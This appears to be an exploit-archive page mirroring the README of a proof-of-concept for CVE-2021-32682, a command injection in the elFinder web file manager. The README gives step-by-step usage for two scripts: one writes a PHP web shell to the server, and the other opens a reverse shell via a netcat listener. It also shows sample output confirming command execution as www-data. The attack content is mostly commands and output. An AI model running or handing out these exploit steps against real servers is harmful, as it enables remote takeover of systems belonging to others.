Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-32682 PoC — Multiple vulnerabilities leading to RCE

Source
Associated Vulnerability
Title:Multiple vulnerabilities leading to RCE (CVE-2021-32682)
Description:elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with minimal configuration. The issues were patched in version 2.1.59. As a workaround, ensure the connector is not exposed without authentication.
Description
elFinder Commands Injection (CVE-2021-32682)
Readme
# elFinder ZIP Arguments Injection Leads to Commands Injection (CVE-2021-32682)
## Some POCs for CVE-2021-32682

## Usage

Since the vulnerability is a command injection we can write a web shell to a php file. This relies on if the server executes php.

* Create file 1.txt
* Right-click 'Create archive' -> 'Zip archive'
* Rename archive to '2.zip'
* Execute exploit


      # python3 webshell.py http://<url>:8080/<elfinder url>/
      Status code  200
      [+] Webshell successfully written!!
      Usage: http://<url>:8080/<elfinder url>/files/shell.php?cmd=<whoami>

      # curl 'http://<url>:8080/<elfinder url>/files/shell.php?cmd=id'
      uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                      


We can also just execute a reverse shell with the command injection

* Create file 1.txt
* Right-click 'Create archive' -> 'Zip archive'
* Rename archive to '2.zip'
* Start netcat listener `nc -lvnp 80`
* Execute exploit


      # python3 reverse_shell.py <lhost> <lport> http://<url>:8080/<elfinder url>/

Wait for incoming reverse shell



### Credits
https://github.com/vulhub/vulhub/tree/master/elfinder/CVE-2021-32682

https://www.sonarsource.com/blog/elfinder-case-study-of-web-file-manager-vulnerabilities/

File Snapshot

[4.0K] /data/pocs/783d76d45825de0e9360ccb35148104f89749e31 ├── [1.3K] README.md ├── [1.1K] reverse_shell.py └── [1.1K] webshell.py 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →